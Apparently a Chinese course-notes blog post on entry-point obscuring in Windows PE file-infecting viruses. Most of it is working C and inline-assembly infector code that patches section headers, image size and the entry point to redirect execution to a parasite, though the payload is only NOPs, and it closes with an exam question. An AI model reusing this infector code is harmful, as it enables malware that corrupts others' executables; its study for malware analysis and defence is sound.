汪道之

有人的地方就有江湖

0%

病毒_Win_EPO入口点不在代码节的问题

入口点模糊技术

Entry Point Obscuring(EPO):

  1. EPO是病毒代码隐藏自己入口点,避免被查杀的一种技术
  2. EPO使得被病毒修改的入口点看起来依然像是正常的入口点

解决入口点不在代码段问题

  1. 不感染最后一节,直接感染代码节,病毒代码依附在代码节的尾部,再修改入口点,这样虽然修改了入口点,但是入口点在代码节
  2. 不修改入口点但将入口点所在指令替换成一条JMP指令,跳到寄生的病毒代码

EPO1 感染在代码节的空洞

程序设计

image-20210519163430182

和之前的不同

以前是获得最后一个节

现在是获得第一个代码节

找代码节的方法

  1. 遍历所有节表项
  2. 判断节表项的属性里是否有0x00000020属性(代码节)

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//遍历所有节表项寻找代码节
int sectionNum = ntHdrs.FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER infectedSectionHdr; //变量,存节表项
bool found = false;
for(int i = 0; i < sectionNum; i++){
fread(&infectedSectionHdr, sizeof(IMAGE_SECTION_HEADER), 1, fp); //每次读一个节头
//通过characteristics字段判断是否为代码节
if ((infectedSectionHdr.Characteristics & 0x00000020) == 0x00000020)
{
//判断文件中代码节的空洞是否足够
if (infectedSectionHdr.SizeOfRawData - infectedSectionHdr.Misc.VirtualSize <CODE_SIZE)
{
printf("the code section has not enough space to save virus\n");
return;
}
found = true;
break;
}
}

if (!found){
printf("cannot find code section\n");
return;
}

EPO2 感染最后节,替换入口指令

思路

  1. 先将原入口5字节保存
  2. 替换成JMP跳到寄生代码
  3. 病毒执行后将入口的5字节还原
  4. 然后跳到原入口

图示

image-20210519165604094

getCode函数设计

image-20210519170847754

关于最后的数据区

数据区需要保存被覆盖的5个字节

需要保存数据区起始地址4个字节

需要保存原程序入口地址4个字节

共13字节

函数参数

  1. 原入口点RVA——AddressOfEntryPoint
  2. 病毒寄生位置RVA——起始RVA+virtualSize
  3. 原程序预期加载地址——ImageBase
  4. 存被覆盖5个字节的字符数组
  5. 代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
......
char * code = (char *)malloc(virusSize); //为内嵌汇编分配内存
memcpy(code, (void *)virusStart, virusSize); //将内嵌汇编代码拷贝到该内存区域
//由传递的参数计算需要放到寄生病毒数据区的值:预期的病毒数据区内存地址、预期的原入口点
long expectedVirusDataAddress = imageBase + virusStartRVA + 5; //5为数据区前面的call指令
long oldEntryAddress = imageBase + oldEntryRVA;
//定位到寄生病毒代码的数据区
char * virusData = code + 5;
*(long *)(virusData + 5) = expectedVirusDataAddress;//写入数据区的第二个数据
*(long *)(virusData + 5 + 4) = oldEntryAddress;//写入数据区的第三个数据
//写入被覆盖的5个字节(由函数参数oldEntryBytes获得)到数据区的第一个数据
*(long *)virusData = *(long *)oldEntryBytes; //写入前4个字节
*(virusData + 4) = *(oldEntryBytes + 4); //写入第5个字节
//生成最后的JMP指令
char * jmpPtr = code + virusSize - 5;//定位到寄生代码中的JMP指令
* jmpPtr = 0xe9; //先放JMP指令的机器码
jmpPtr++; //定位到JMP指令的偏移量部分
*(long *)jmpPtr = oldEntryRVA - (virusStartRVA + virusSize); //写入JMP指令的偏移量
return code;
......

关键问题

ImageBase是程序预期的加载基地址,但是win7和vs编译器往往采用了随机地址空间技术,所以我们需要自定位技术

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
char* getCode( … )
{
long virusStart, virusEnd;
int virusSize;
_asm{
mov virusStart, offset virus_start; //获取病毒代码起始偏移
mov virusEnd, offset virus_end; //获取病毒代码结束偏移
}
virusSize = virusEnd - virusStart; //获取病毒代码长度
if (oldEntryBytes == Null)
return (char *)virusSize;

….. //这部分代码处理内嵌汇编无法处理的部分

virus_start: //病毒代码起始标号
_asm{ //这段嵌入汇编是需要寄生的病毒代码
call yy; //跳过数据区并且把数据区实际地址压栈
data:
//5字节被覆盖的数据
nop;
nop;
nop;
nop;
nop;
//预期的数据区地址4字节
nop;
nop;
nop;
nop;
//预期的原入口点地址4字节
nop;
nop;
nop;
nop;

yy:
//pop eax; //执行后eax寄存器存放了病毒数据区data的实际地址
jmp xx;//模拟的有效代码
nop;//病毒行为
nop;
xx:
//push ebx;//恢复被覆盖的5个字节
pop eax; //eax为数据区实际地址
push ebx;
push ecx;
mov ebx, eax; //eax用来访问实际数据,ebx存实际地址
sub ebx, [eax + 5]; //ebx得到加载偏差 = 实际地址 – 预期地址
mov ecx, [eax + 9]; //访问数据区得到入口的预期地址
add ecx, ebx; //获得入口点实际地址
;恢复5字节被覆盖的代码
//恢复入口被覆盖的5个字节内容
//利用ebx先恢复前4字节
mov ebx, [eax]; //数据区开始的4个字节放入ebx
mov [ecx], ebx; //ecx是原入口的实际地址,完成前4个字节的恢复
//利用bl再恢复最后一字节
mov bl, [eax + 4];
mov byte ptr [ecx + 4], bl;
pop ecx
pop ebx;

//后5字节最后一条JMP指令的代码占位
nop
nop
nop
nop
nop

}
virus_end: //病毒代码结束标号
}

感染代码设计

图示

image-20210519173947160

关键:

  1. 找到入口点所在的节
  2. 将入口点(内存位置)转变为文件位置

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
void main(int argC, char ** args)
{
readHdrs(fp); //读NT头道ntHdrs
int sectionNum = ntHdrs.FileHeader.NumberOfSections; //NT头-文件头-NumberOfSections
unsigned long entry = ntHdrs.OptionalHeader.AddressOfEntryPoint; //入口点的值(是RVA)

//遍历节判断入口点在哪个节
//判断条件:当前节的RVA(VirtualAdress)<=入口点<=当前节的RVA+该节的VirtualSize
IMAGE_SECTION_HEADER lastSectionHdr, curHdr; //两个变量:最后一个节头,当前节头
long entryDiskOffset; //入口点在文件偏移
int entryOffsetToSectionStart; //入口点在节内偏移
for(int i = 0; i < sectionNum; i++)
{
fread(&curHdr, sizeof(IMAGE_SECTION_HEADER), 1, fp);
//查找入口点所在的节,找到就获得入口点的文件偏移
if ((entry >= curHdr.VirtualAddress) && (entry <= curHdr.VirtualAddress +
curHdr.Misc.VirtualSize))
{
entryOffsetToSectionStart = entry - curHdr.VirtualAddress; //注意VirtualAddress为节起始RVA
entryDiskOffset = curHdr.PointerToRawData + entryOffsetToSectionStart;//获得入口点文件偏移
}
}//循环结束时,curHdr指向最后一个节头
lastSectionHdr = curHdr;
int codeSize = (int)getCode(0, 0, 0, NULL); //这里调用了getCode函数的第二种功能
//判断最后一个节是否有空洞寄生
if (lastSectionHdr.SizeOfRawData - lastSectionHdr.Misc.VirtualSize < codeSize)
{
printf("the last section has not enough space to save virus\n");
return;
}
//此时文件指针正好读完最后一个节头,先改最后一个节的VirtualSize字段,减少文件定位操作
fseek(fp, - sizeof(IMAGE_SECTION_HEADER), SEEK_CUR);
fseek(fp, 8, SEEK_CUR);//VirtualSize字段前有8字节的节名
int newVirtualSize = lastSectionHdr.Misc.VirtualSize + codeSize;
fwrite(&newVirtualSize, sizeof(newVirtualSize), 1, fp);
//将原入口点的5个字节(即将被覆盖)保存一下
char firstCode[5];
fseek(fp, entryDiskOffset, SEEK_SET); //定位到入口点的文件位置
fread(firstCode, 5, 1, fp); //将这5个字节保存到firstCode,后面作为getCode函数的最后一个参数
//在入口点处插入JMP指令,该指令跳到感染的病毒代码处
char jmpCode[5];
jmpCode[0] = 0xe9;
//跳转目的地址为:感染代码的位置,即最后一个节的VirtualAddress+VirualSize
//跳转的源地址为:JMP指令后面,即AddressOfEntryPoint + 5 (JMP指令长度)
*(long *)(jmpCode + 1) = lastSectionHdr.VirtualAddress + lastSectionHdr.Misc.VirtualSize - (ntHdrs.OptionalHeader.AddressOfEntryPoint + 5);
fseek(fp, entryDiskOffset, SEEK_SET); //定位到入口点的文件位置
fwrite(jmpCode, 5, 1, fp); //写入这条JMP指令
//传递4个参数给getCode函数,生成病毒寄生代码
char* code = getCode(ntHdrs.OptionalHeader.AddressOfEntryPoint,
lastSectionHdr.VirtualAddress + lastSectionHdr.Misc.VirtualSize,
ntHdrs.OptionalHeader.ImageBase, firstCode);
//写入病毒寄生代码到文件中的最后一个节
fseek(fp, lastSectionHdr.PointerToRawData + lastSectionHdr.Misc.VirtualSize, SEEK_SET);
fwrite(code, codeSize, 1, fp);
free(code);

//修改ImageSize
locateNTHdrStart(fp);
int offsetImageSize = (int)&((IMAGE_NT_HEADERS *)0 )->OptionalHeader.SizeOfImage;

fseek(fp, offsetImageSize, SEEK_CUR);
int accurateSize = (lastSectionHdr.VirtualAddress + lastSectionHdr.Misc.VirtualSize + codeSize);

int pageNum = accurateSize / ntHdrs.OptionalHeader.SectionAlignment;
int imageSize = (pageNum) * ntHdrs.OptionalHeader.SectionAlignment < accurateSize ? (pageNum + 1) * ntHdrs.OptionalHeader.SectionAlignment : accurateSize;//取上整

fwrite(&imageSize, sizeof(imageSize), 1, fp);
fclose(fp);

}

例题

  1. 关于寄生在Windows文件中的病毒数据区,下列说法不正确的是( )
    A. 尽管PE文件本身提供了重定位机制,但访问病毒数据区还是需要自定位
    B. 病毒数据区在寄生前,往往需要感染时借助病毒main函数传递的参数来进行数据填写
    C. 病毒数据区的预期加载地址需要借助PE文件的相关字段信息计算出来
    D. 病毒数据区的预期加载地址也可以通过内嵌汇编标号的方式获得

参考答案:D

解析:病毒数据区的预期加载地址只能算出来,不能通过内嵌汇编标号的方式获得

为入口点所在节增加内存可写属性

  1. 循环搜索入口点所在的节
  2. 找到后保存该节的索引和属性字段
  3. 然后在文件中定位到该节的节头,计算新的属性值并写入到节头的属性字段

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int entrySectionIndex;  //变量 - 存入口点所在节的索引
unsigned long characteristic; //变量 - 存入口点所在节的属性
for(int i = 0; i < sectionNum; i++)
{
fread(&curHdr, sizeof(IMAGE_SECTION_HEADER), 1, fp);
//找到入口点所在的节
if ((entry >= curHdr.VirtualAddress) &&
(entry <= curHdr.VirtualAddress + curHdr.Misc.VirtualSize))
{
entryOffsetToSectionStart = entry - curHdr.VirtualAddress;
entryDiskOffset = curHdr.PointerToRawData + entryOffsetToSectionStart;
entrySectionIndex = i; //记录入口点所在节的索引值
characteristic = curHdr.Characteristics; //保存入口点所在节的原属性值
}
}

//修改入口点所在代码节的属性,添加可写属性80000000h
//先在文件中定位到节表的位置,节表在NT头的后面
locateNTHdrStart(fp); //在文件中定位到NT头的位置
fseek(fp, sizeof(IMAGE_NT_HEADERS), SEEK_CUR); //移动NT头长度,定位节表
//所在节的节头位置为:该节索引*每个节头长度
//获得属性字段离该节节头的偏移
int offsetCha = (int)&(((IMAGE_SECTION_HEADER *)0)->Characteristics);
//定位属性字段的文件位置:节头位置+属性字段离节头的偏移
fseek(fp, (entrySectionIndex * sizeof(IMAGE_SECTION_HEADER)) + offsetCha, SEEK_CUR);
//计算新的属性值
characteristic = characteristic | 0x80000000;
//文件中写入新的属性值
fwrite(&characteristic, 4, 1, fp);
fclose(fp);